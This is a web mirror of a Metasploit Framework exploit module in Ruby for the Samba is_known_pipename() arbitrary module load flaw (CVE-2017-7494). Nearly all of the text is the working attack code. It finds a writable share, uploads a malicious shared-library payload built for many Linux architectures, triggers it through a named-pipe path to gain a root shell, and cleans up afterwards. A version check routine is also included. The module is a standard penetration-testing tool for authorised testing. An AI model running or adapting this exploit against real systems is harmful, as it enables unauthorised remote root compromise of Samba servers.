CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/samba/is_known_pipename.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::DCERPC
10
include Msf::Exploit::Remote::SMB::Client
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'Samba is_known_pipename() Arbitrary Module Load',
15
'Description' => %q{
16
This module triggers an arbitrary shared library load vulnerability
17
in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module
18
requires valid credentials, a writeable folder in an accessible share,
19
and knowledge of the server-side path of the writeable folder. In
20
some cases, anonymous access combined with common filesystem locations
21
can be used to automatically exploit this vulnerability.
22
},
23
'Author' =>
24
[
25
'steelo <knownsteelo[at]gmail.com>', # Vulnerability Discovery & Python Exploit
26
'hdm', # Metasploit Module
27
'bcoles', # Check logic
28
],
29
'License' => MSF_LICENSE,
30
'References' =>
31
[
32
[ 'CVE', '2017-7494' ],
33
[ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ],
34
],
35
'Payload' =>
36
{
37
'Space' => 9000,
38
'DisableNops' => true
39
},
40
'Platform' => 'linux',
41
'Targets' =>
42
[
43
44
[ 'Automatic (Interact)',
45
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'Interact' => true,
46
'Payload' => {
47
'Compat' => {
48
'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find'
49
}
50
}
51
}
52
],
53
[ 'Automatic (Command)',
54
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] }
55
],
56
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
57
[ 'Linux x86_64', { 'Arch' => ARCH_X64 } ],
58
[ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],
59
[ 'Linux ARM64', { 'Arch' => ARCH_AARCH64 } ],
60
[ 'Linux MIPS', { 'Arch' => ARCH_MIPS } ],
61
[ 'Linux MIPSLE', { 'Arch' => ARCH_MIPSLE } ],
62
[ 'Linux MIPS64', { 'Arch' => ARCH_MIPS64 } ],
63
[ 'Linux MIPS64LE', { 'Arch' => ARCH_MIPS64LE } ],
64
[ 'Linux PPC', { 'Arch' => ARCH_PPC } ],
65
[ 'Linux PPC64', { 'Arch' => ARCH_PPC64 } ],
66
[ 'Linux PPC64 (LE)', { 'Arch' => ARCH_PPC64LE } ],
67
[ 'Linux SPARC', { 'Arch' => ARCH_SPARC } ],
68
[ 'Linux SPARC64', { 'Arch' => ARCH_SPARC64 } ],
69
[ 'Linux s390x', { 'Arch' => ARCH_ZARCH } ],
70
],
71
'DefaultOptions' =>
72
{
73
'DCERPC::fake_bind_multi' => false,
74
'SHELL' => '/bin/sh',
75
},
76
'Privileged' => true,
77
'DisclosureDate' => '2017-03-24',
78
'DefaultTarget' => 0))
79
80
register_options(
81
[
82
OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']),
83
OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),
84
])
85
86
end
87
88
def post_auth?
89
true
90
end
91
92
# Setup our mapping of Metasploit architectures to gcc architectures
93
def setup
94
super
95
@@payload_arch_mappings = {
96
ARCH_X86 => [ 'x86' ],
97
ARCH_X64 => [ 'x86_64' ],
98
ARCH_MIPS => [ 'mips' ],
99
ARCH_MIPSLE => [ 'mipsel' ],
100
ARCH_MIPSBE => [ 'mips' ],
101
ARCH_MIPS64 => [ 'mips64' ],
102
ARCH_MIPS64LE => [ 'mips64el' ],
103
ARCH_PPC => [ 'powerpc' ],
104
ARCH_PPC64 => [ 'powerpc64' ],
105
ARCH_PPC64LE => [ 'powerpc64le' ],
106
ARCH_SPARC => [ 'sparc' ],
107
ARCH_SPARC64 => [ 'sparc64' ],
108
ARCH_ARMLE => [ 'armel', 'armhf' ],
109
ARCH_AARCH64 => [ 'aarch64' ],
110
ARCH_ZARCH => [ 's390x' ],
111
}
112
113
# Architectures we don't offically support but can shell anyways with interact
114
@@payload_arch_bonus = %W{
115
mips64el sparc64 s390x
116
}
117
118
# General platforms (OS + C library)
119
@@payload_platforms = %W{
120
linux-glibc
121
}
122
end
123
124
# List all top-level directories within a given share
125
def enumerate_directories(share)
126
begin
127
vprint_status('Use Rex client (SMB1 only) to enumerate directories, since it is not compatible with RubySMB client')
128
connect(versions: [1])
129
smb_login
130
self.simple.connect("\\\\#{rhost}\\#{share}")
131
stuff = self.simple.client.find_first("\\*")
132
directories = [""]
133
stuff.each_pair do |entry,entry_attr|
134
next if %W{. ..}.include?(entry)
135
next unless entry_attr['type'] == 'D'
136
directories << entry
137
end
138
139
return directories
140
141
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
142
vprint_error("Enum #{share}: #{e}")
143
return nil
144
145
ensure
146
simple.disconnect("\\\\#{rhost}\\#{share}")
147
smb_connect
148
end
149
end
150
151
# Determine whether a directory in a share is writeable
152
def verify_writeable_directory(share, directory="")
153
begin
154
simple.connect("\\\\#{rhost}\\#{share}")
155
156
random_filename = Rex::Text.rand_text_alpha(5)+".txt"
157
filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}"
158
159
wfd = simple.open(filename, 'rwct')
160
wfd << Rex::Text.rand_text_alpha(8)
161
wfd.close
162
163
simple.delete(filename)
164
return true
165
166
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode, RubySMB::Error::RubySMBError => e
167
vprint_error("Write #{share}#{filename}: #{e}")
168
return false
169
170
ensure
171
simple.disconnect("\\\\#{rhost}\\#{share}")
172
end
173
end
174
175
# Call NetShareGetInfo to retrieve the server-side path
176
def find_share_path
177
share_info = smb_netsharegetinfo(@share)
178
share_info[:path].gsub("\\", "/").sub(/^.*:/, '')
179
end
180
181
# Crawl top-level directories and test for writeable
182
def find_writeable_path(share)
183
subdirs = enumerate_directories(share)
184
return unless subdirs
185
186
if datastore['SMB_FOLDER'].to_s.length > 0
187
subdirs.unshift(datastore['SMB_FOLDER'])
188
end
189
190
subdirs.each do |subdir|
191
next unless verify_writeable_directory(share, subdir)
192
return subdir
193
end
194
195
nil
196
end
197
198
# Locate a writeable directory across identified shares
199
def find_writeable_share_path
200
@path = nil
201
share_info = smb_netshareenumall
202
if datastore['SMB_SHARE_NAME'].to_s.length > 0
203
share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']
204
end
205
206
share_info.each do |share|
207
next if share.first.upcase == 'IPC$'
208
found = find_writeable_path(share.first)
209
next unless found
210
@share = share.first
211
@path = found
212
break
213
end
214
end
215
216
# Locate a writeable share
217
def find_writeable
218
find_writeable_share_path
219
unless @share && @path
220
print_error("No suitable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER")
221
fail_with(Failure::NoTarget, "No matching target")
222
end
223
print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")
224
end
225
226
# Store the wrapped payload into the writeable share
227
def upload_payload(wrapped_payload)
228
begin
229
self.simple.connect("\\\\#{rhost}\\#{@share}")
230
231
random_filename = Rex::Text.rand_text_alpha(8)+".so"
232
filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"
233
234
wfd = simple.open(filename, 'rwct')
235
wfd << wrapped_payload
236
wfd.close
237
238
@payload_name = random_filename
239
240
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
241
print_error("Write #{@share}#{filename}: #{e}")
242
return false
243
244
ensure
245
simple.disconnect("\\\\#{rhost}\\#{@share}")
246
end
247
248
print_status("Uploaded payload to \\\\#{rhost}\\#{@share}#{filename}")
249
return true
250
end
251
252
# Try both pipe open formats in order to load the uploaded shared library
253
def trigger_payload
254
255
target = [@share_path, @path, @payload_name].join("/").gsub(/\/+/, '/')
256
[
257
"\\\\PIPE\\" + target,
258
target
259
].each do |tpath|
260
261
print_status("Loading the payload from server-side path #{target} using #{tpath}...")
262
263
smb_connect
264
265
# Try to execute the shared library from the share
266
begin
267
simple.client.create_pipe(tpath)
268
probe_module_path(tpath)
269
270
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError
271
# Common errors we can safely ignore
272
273
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
274
# Look for STATUS_OBJECT_PATH_INVALID indicating our interact payload loaded
275
if e.error_code == 0xc0000039
276
pwn
277
return true
278
else
279
print_error(" >> Failed to load #{e.error_name}")
280
end
281
rescue RubySMB::Error::UnexpectedStatusCode, RubySMB::Error::InvalidPacket => e
282
if e.status_code == ::WindowsError::NTStatus::STATUS_OBJECT_PATH_INVALID
283
pwn
284
return true
285
else
286
print_error(" >> Failed to load #{e.status_code.name}")
287
end
288
end
289
290
disconnect
291
292
end
293
294
false
295
end
296
297
def pwn
298
print_good("Probe response indicates the interactive payload was loaded...")
299
smb_shell = self.sock
300
self.sock = nil
301
remove_socket(sock)
302
handler(smb_shell)
303
end
304
305
# Use fancy payload wrappers to make exploitation a joyously lazy exercise
306
def cycle_possible_payloads
307
template_base = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2017-7494")
308
template_list = []
309
template_type = nil
310
template_arch = nil
311
312
# Handle the generic command types first
313
if target.arch.include?(ARCH_CMD)
314
template_type = target['Interact'] ? 'findsock' : 'system'
315
316
all_architectures = @@payload_arch_mappings.values.flatten.uniq
317
318
# Include our bonus architectures for the interact payload
319
if target['Interact']
320
@@payload_arch_bonus.each do |t_arch|
321
all_architectures << t_arch
322
end
323
end
324
325
# Prioritize the most common architectures first
326
%W{ x86_64 x86 armel armhf mips mipsel }.each do |t_arch|
327
template_list << all_architectures.delete(t_arch)
328
end
329
330
# Queue up the rest for later
331
all_architectures.each do |t_arch|
332
template_list << t_arch
333
end
334
335
# Handle the specific architecture targets next
336
else
337
template_type = 'shellcode'
338
target.arch.each do |t_name|
339
@@payload_arch_mappings[t_name].each do |t_arch|
340
template_list << t_arch
341
end
342
end
343
end
344
345
# Remove any duplicates that mau have snuck in
346
template_list.uniq!
347
348
# Cycle through each top-level platform we know about
349
@@payload_platforms.each do |t_plat|
350
351
# Cycle through each template and yield
352
template_list.each do |t_arch|
353
354
355
wrapper_path = ::File.join(template_base, "samba-root-#{template_type}-#{t_plat}-#{t_arch}.so.gz")
356
next unless ::File.exist?(wrapper_path)
357
358
data = ''
359
::File.open(wrapper_path, "rb") do |fd|
360
data = Rex::Text.ungzip(fd.read)
361
end
362
363
pidx = data.index('PAYLOAD')
364
if pidx
365
data[pidx, payload.encoded.length] = payload.encoded
366
end
367
368
vprint_status("Using payload wrapper 'samba-root-#{template_type}-#{t_arch}'...")
369
yield(data)
370
end
371
end
372
end
373
374
# Verify that the payload settings make sense
375
def sanity_check
376
if target['Interact'] && datastore['PAYLOAD'] != "cmd/unix/interact"
377
print_error("Error: The interactive target is chosen (0) but PAYLOAD is not set to cmd/unix/interact")
378
print_error(" Please set PAYLOAD to cmd/unix/interact and try this again")
379
print_error("")
380
fail_with(Failure::NoTarget, "Invalid payload chosen for the interactive target")
381
end
382
383
if ! target['Interact'] && datastore['PAYLOAD'] == "cmd/unix/interact"
384
print_error("Error: A non-interactive target is chosen but PAYLOAD is set to cmd/unix/interact")
385
print_error(" Please set a valid PAYLOAD and try this again")
386
print_error("")
387
fail_with(Failure::NoTarget, "Invalid payload chosen for the non-interactive target")
388
end
389
end
390
391
# Shorthand for connect and login
392
def smb_connect
393
connect
394
smb_login
395
end
396
397
# Start the shell train
398
def exploit
399
# Validate settings
400
sanity_check
401
402
# Setup SMB
403
smb_connect
404
405
# Find a writeable share
406
find_writeable
407
408
# Retrieve the server-side path of the share like a boss
409
print_status("Retrieving the remote path of the share '#{@share}'")
410
@share_path = find_share_path
411
print_status("Share '#{@share}' has server-side path '#{@share_path}")
412
413
# Disconnect
414
disconnect
415
416
# Create wrappers for each potential architecture
417
cycle_possible_payloads do |wrapped_payload|
418
419
# Connect, upload the shared library payload, disconnect
420
smb_connect
421
upload_payload(wrapped_payload)
422
disconnect
423
424
# Trigger the payload
425
early = trigger_payload
426
427
# Cleanup the payload
428
begin
429
smb_connect
430
simple.connect("\\\\#{rhost}\\#{@share}")
431
uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"
432
simple.delete(uploaded_path)
433
disconnect
434
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError
435
end
436
437
# Bail early if our interact payload loaded
438
return if early
439
end
440
end
441
442
# A version-based vulnerability check for Samba
443
def check
444
res = smb_fingerprint
445
446
unless res['native_lm'] =~ /Samba ([\d\.]+)/
447
print_error("does not appear to be Samba: #{res['os']} / #{res['native_lm']}")
448
return CheckCode::Safe
449
end
450
451
samba_version = Rex::Version.new($1.gsub(/\.$/, ''))
452
453
vprint_status("Samba version identified as #{samba_version.to_s}")
454
455
if samba_version < Rex::Version.new('3.5.0')
456
return CheckCode::Safe
457
end
458
459
# Patched in 4.4.14
460
if samba_version < Rex::Version.new('4.5.0') &&
461
samba_version >= Rex::Version.new('4.4.14')
462
return CheckCode::Safe
463
end
464
465
# Patched in 4.5.10
466
if samba_version > Rex::Version.new('4.5.0') &&
467
samba_version < Rex::Version.new('4.6.0') &&
468
samba_version >= Rex::Version.new('4.5.10')
469
return CheckCode::Safe
470
end
471
472
# Patched in 4.6.4
473
if samba_version >= Rex::Version.new('4.6.4')
474
return CheckCode::Safe
475
end
476
477
smb_connect
478
find_writeable_share_path
479
disconnect
480
481
if @share.to_s.length == 0
482
print_status("Samba version #{samba_version.to_s} found, but no writeable share has been identified")
483
return CheckCode::Detected
484
end
485
486
print_good("Samba version #{samba_version.to_s} found with writeable share '#{@share}'")
487
return CheckCode::Appears
488
end
489
end
490
491